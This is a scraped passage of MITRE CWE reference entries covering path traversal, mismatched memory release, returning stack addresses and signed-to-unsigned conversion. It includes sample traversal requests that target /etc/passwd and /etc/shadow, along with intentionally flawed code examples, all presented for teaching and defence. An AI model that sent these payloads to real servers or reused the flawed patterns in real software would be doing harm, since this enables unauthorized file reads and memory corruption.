ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	34	Path Traversal: '....//'
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	35	Path Traversal: '.../...//'

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.
Integrity	Technical Impact: Modify Files or Directories The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.
Confidentiality	Technical Impact: Read Files or Directories The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability	Technical Impact: DoS: Crash, Exit, or Restart The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.

Demonstrative Examples

Example 1

The following URLs are vulnerable to this attack:

(bad code)

http://example.com.br/get-files.jsp?file=report.pdf
http://example.com.br/get-page.php?home=aaa.html
http://example.com.br/some-page.asp?page=index.html

A simple way to execute this attack is like this:

(attack code)

http://example.com.br/get-files?file=../../../../somedir/somefile
http://example.com.br/../../../../etc/shadow
http://example.com.br/get-files?file=../../../../etc/passwd

Example 2

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

(bad code)

Example Language: Perl

print "<li>$_</li>\n";

}
print "</ul>\n";

(attack code)

../../../etc/passwd

The program would generate a profile pathname like this:

(result)

/users/cwe/profiles/../../../etc/passwd

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

(result)

/etc/passwd

As a result, the attacker could read the entire text of the password file.

Example 3

(good code)

Example Language: HTML

(bad code)

Example Language: Java

public class FileUploadServlet extends HttpServlet {

...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {

if (line.indexOf(boundary) == -1) {

bw.write(line);
bw.newLine();
bw.flush();

}

} //end of for loop
bw.close();

} catch (IOException ex) {...}
// output successful upload response HTML page

}
// output unsuccessful upload response HTML page
else
{...}

}

...

}

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Observed Examples

Reference	Description
CVE-2022-45918	Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
CVE-2019-20916	Python package manager does not correctly restrict the filename specified in a Content-Disposition header, allowing arbitrary file read using path traversal sequences such as "../"
CVE-2022-24877	directory traversal in Go-based Kubernetes operator app allows accessing data from the controller's pod file system via ../ sequences in a yaml file
CVE-2020-4053	a Kubernetes package manager written in Go allows malicious plugins to inject path traversal sequences into a plugin archive ("Zip slip") to copy a file outside the intended directory
CVE-2021-21972	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
CVE-2019-10743	Go-based archive library allows extraction of files to locations outside of the target folder with "../" path traversal sequences in filenames in a zip file, aka "Zip Slip"
CVE-2002-0298	Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "/../" sequences, or several "../" in a URI.
CVE-2002-0661	"\" not in denylist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.
CVE-2002-0946	Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request.
CVE-2002-1042	Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "..\" sequences in queries.
CVE-2002-1209	Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "..\" sequences in a GET request.
CVE-2002-1178	Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "..\" sequences in an HTTP request.
CVE-2002-1987	Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files.
CVE-2005-2142	Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "\.." sequence in an LS command.
CVE-2002-0160	The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\.." sequence in the URL to port 2002.
CVE-2001-0467	"\..." in web server
CVE-2001-0963	"..." in cd command in FTP server
CVE-2001-1193	"..." in cd command in FTP server
CVE-2001-1131	"..." in cd command in FTP server
CVE-2001-0480	read of arbitrary files and directories using GET or CD with "..." in Windows-based FTP server.
CVE-2002-0288	read files using "." and Unicode-encoded "/" or "\" characters in the URL.
CVE-2003-0313	Directory listing of web server using "..."
CVE-2005-1658	Triple dot
CVE-2000-0240	read files via "/........../" in URL
CVE-2000-0773	read files via "...." in web server
CVE-1999-1082	read files via "......" in web server (doubled triple dot?)
CVE-2004-2121	read files via "......" in web server (doubled triple dot?)
CVE-2001-0491	multiple attacks using "..", "...", and "...." in different commands
CVE-2001-0615	"..." or "...." in chat server
CVE-2005-2169	chain: ".../...//" bypasses protection mechanism using regexp's that remove "../" resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal.
CVE-2005-0202	".../....///" bypasses regexp's that remove "./" and "../"
CVE-2004-1670	Mail server allows remote attackers to create arbitrary directories via a ".." or rename arbitrary files via a "....//" in user supplied parameters.

Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Phase: Implementation

Strategy: Input Validation

realpath() in C

getCanonicalPath() in Java

GetFullPath() in ASP.NET

realpath() or abs_path() in Perl

realpath() in PHP

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	981	SFP Secondary Cluster: Path Traversal
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1404	Comprehensive Categorization: File Handling

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Relative Path Traversal
Software Fault Patterns	SFP16		Path Traversal

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-139	Relative Path Traversal
CAPEC-76	Manipulating Web Input to File System Calls

References

[REF-192] OWASP. "OWASP Attack listing". <http://www.owasp.org/index.php/Relative_Path_Traversal>.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503. 1st Edition. Addison Wesley. 2006.

[REF-1282] Snyk. "Zip Slip Vulnerability". 2018-06-05. <https://security.snyk.io/research/zip-slip-vulnerability>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2022-07-11	Nick Johnston
2022-07-11	Identified weakness in Perl demonstrative example
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated References, Demonstrative_Example, Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, References, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Description
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Potential_Mitigations
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Demonstrative_Examples
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Description, Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Potential_Mitigations
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Related_Attack_Patterns
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Observed_Examples, Potential_Mitigations
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Alternate_Terms, Observed_Examples, References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Common_Consequences, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples

Weakness ID: 763

View customized information:

Description

The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly.

Extended Description

This weakness can take several forms, such as:

The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).
The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	404	Improper Resource Shutdown or Release
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	761	Free of Pointer not at Start of Buffer
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	762	Mismatched Memory Management Routines

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	399	Resource Management Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	465	Pointer Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	404	Improper Resource Shutdown or Release

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	404	Improper Resource Shutdown or Release

Modes Of Introduction

Phase	Note
Implementation

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality	Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart; Execute Unauthorized Code or Commands This weakness may result in the corruption of memory, and perhaps instructions, possibly leading to a crash. If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code.

Demonstrative Examples

Example 1

(bad code)

Example Language: C

char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)

if (**ap != '\0')

if (++ap >= &argv[10])

break;

/.../
free(ap[4]);

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

Example 2

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

(bad code)

Example Language: C++

void foo(){

BarObj *ptr = new BarObj()
/* do some work with ptr here */

...

free(ptr);

}

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

(good code)

Example Language: C++

void foo(){

BarObj *ptr = new BarObj()
/* do some work with ptr here */

...

delete ptr;

}

Example 3

(bad code)

Example Language: C

#define SUCCESS (1)
#define FAILURE (0)

int contains_char(char c){

char *str;
str = (char*)malloc(20*sizeof(char));
strcpy(str, "Search Me!");
while( *str != NULL){

if( *str == c ){

/* matched char, free string and return success */
free(str);
return SUCCESS;

}
/* didn't match yet, increment pointer and try next char */

str = str + 1;

}
/* we did not match the char in the string, free mem and return failure */

free(str);
return FAILURE;

}

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

(good code)

Example Language: C

#define SUCCESS (1)
#define FAILURE (0)

int cointains_char(char c){

char *str;
int i = 0;
str = (char*)malloc(20*sizeof(char));
strcpy(str, "Search Me!");
while( i < strlen(str) ){

if( str[i] == c ){

/* matched char, free string and return success */
free(str);
return SUCCESS;

}
/* didn't match yet, increment pointer and try next char */

i = i + 1;

}
/* we did not match the char in the string, free mem and return failure */

free(str);
return FAILURE;

}

Example 4

(bad code)

Example Language: C

if( isMalformed( tok ) ){

/* ignore and discard bad data */
free( tok );

}
else{

add_to_command_queue( tok );

}
tok = strtok( NULL, sep));

}

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

(good code)

Example Language: C

if( !isMalformed( command ) ){

/* copy and enqueue good data */
command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
strcpy( command, tok );
add_to_command_queue( command );

}
tok = strtok( NULL, sep));

}

free( input )

Observed Examples

Reference	Description
CVE-2019-11930	function "internally calls 'calloc' and returns a pointer at an index... inside the allocated buffer. This led to freeing invalid memory."

Potential Mitigations

Phase: Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Detection Methods

Fuzzing

Effectiveness: High

Affected Resources

Memory

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	969	SFP Secondary Cluster: Faulty Memory Release
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1237	SFP Primary Cluster: Faulty Resource Release
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Maintenance

The view-1000 subtree that is associated with this weakness needs additional work. Several entries will likely be created in this branch. Currently the focus is on free() of memory, but delete and other related release routines may require the creation of intermediate entries that are not specific to a particular function. In addition, the role of other types of invalid pointers, such as an expired pointer, i.e. CWE-415 Double Free and release of uninitialized pointers, related to CWE-457.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-657] "boost C++ Library Smart Pointers". <https://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm>. URL validated: 2023-04-07.

[REF-480] "Valgrind". <http://valgrind.org/>.

Content History

Submissions
Submission Date	Submitter	Organization
2009-05-08 (CWE 1.4, 2009-05-27)	CWE Content Team	MITRE
2009-05-08 (CWE 1.4, 2009-05-27)
Modifications
Modification Date	Modifier	Organization
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Description
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Maintenance_Notes
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples

Weakness ID: 562

View customized information:

Description

A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

Extended Description

Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
CanPrecede	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	672	Operation on a Resource after Expiration or Release
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	825	Expired Pointer Dereference

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1006	Bad Coding Practices

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Confidentiality	Technical Impact: Read Memory; Modify Memory; Execute Unauthorized Code or Commands; DoS: Crash, Exit, or Restart If the returned stack buffer address is dereferenced after the return, then an attacker may be able to modify or read memory, depending on how the address is used. If the address is used for reading, then the address itself may be exposed, or the contents that the address points to. If the address is used for writing, this can lead to a crash and possibly code execution.

Demonstrative Examples

Example 1

The following function returns a stack address.

(bad code)

Example Language: C

char* getName() {

char name[STR_MAX];
fillInName(name);
return name;

}

Potential Mitigations

Phase: Testing

Use static analysis tools to spot return of the address of a stack variable.

Weakness Ordinalities

Ordinality	Description
Indirect	(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Fuzzing

Effectiveness: High

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	998	SFP Secondary Cluster: Glitch in Computation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1156	SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	DCL30-C	CWE More Specific	Declare objects with appropriate storage durations
CERT C Secure Coding	POS34-C		Do not call putenv() with a pointer to an automatic variable as the argument
Software Fault Patterns	SFP1		Glitch in computation

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	Anonymous Tool Vendor (under NDA)
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Description, Other_Notes
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Relationships, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Weakness_Ordinalities
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Common_Consequences
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Stack Address Returned

Weakness ID: 195

View customized information:

Description

Extended Description

It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.

Often, functions will return negative values to indicate a failure. When the result of a function is to be used as a size parameter, using these negative return values can have unexpected results. For example, if negative size values are passed to the standard memory copy or allocation functions they will be implicitly cast to a large unsigned value. This may lead to an exploitable buffer overflow or underflow condition.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	839	Numeric Range Comparison Without Minimum Check
CanPrecede	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity	Technical Impact: Unexpected State Conversion between signed and unsigned values can lead to a variety of errors, but from a security standpoint is most commonly associated with integer overflow and buffer overflow vulnerabilities.

Demonstrative Examples

Example 1

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

(bad code)

Example Language: C

unsigned int readdata () {

int amount = 0;
...
if (result == ERROR)
amount = -1;
...
return amount;

}

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 2

(bad code)

Example Language: C

unsigned int readdata () {

int amount = 0;
...
amount = accessmainframe();
...
return amount;

}

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 3

The following code is intended to read an incoming packet from a socket and extract one or more headers.

(bad code)

Example Language: C

DataPacket *packet;
int numHeaders;
PacketHeader *headers;

sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;

if (numHeaders > 100) {

ExitError("too many headers!");

}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);

Example 4

This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed.

(bad code)

Example Language: C

char* processNext(char* strm) {

char buf[512];
short len = *(short*) strm;
strm += sizeof(len);
if (len <= 512) {

memcpy(buf, strm, len);
process(buf);
return strm + len;

}
else {

return -1;

}

The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that len is a signed short, so the check against the maximum structure length is done with signed values, but len is converted to an unsigned integer for the call to memcpy() and the negative bit will be extended to result in a huge value for the unsigned integer. If len is negative, then it will appear that the structure has an appropriate size (the if branch will be taken), but the amount of memory copied by memcpy() will be quite large, and the attacker will be able to overflow the stack with data in strm.

Example 5

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

(bad code)

Example Language: C

int returnChunkSize(void *) {

/* if chunk info is valid, return the size of usable memory,

* else, return -1 to indicate an error

*/
...

}
int main() {

...
memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
...

}

Example 6

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action.

(bad code)

Example Language: C

int proc_msg(char *s, int msg_len)
{

// Note space at the end of the string - assume all strings have preamble with space
int pre_len = sizeof("preamble: ");
char buf[pre_len - msg_len];
... Do processing here if we get this far

}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack

The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

Observed Examples

Reference	Description
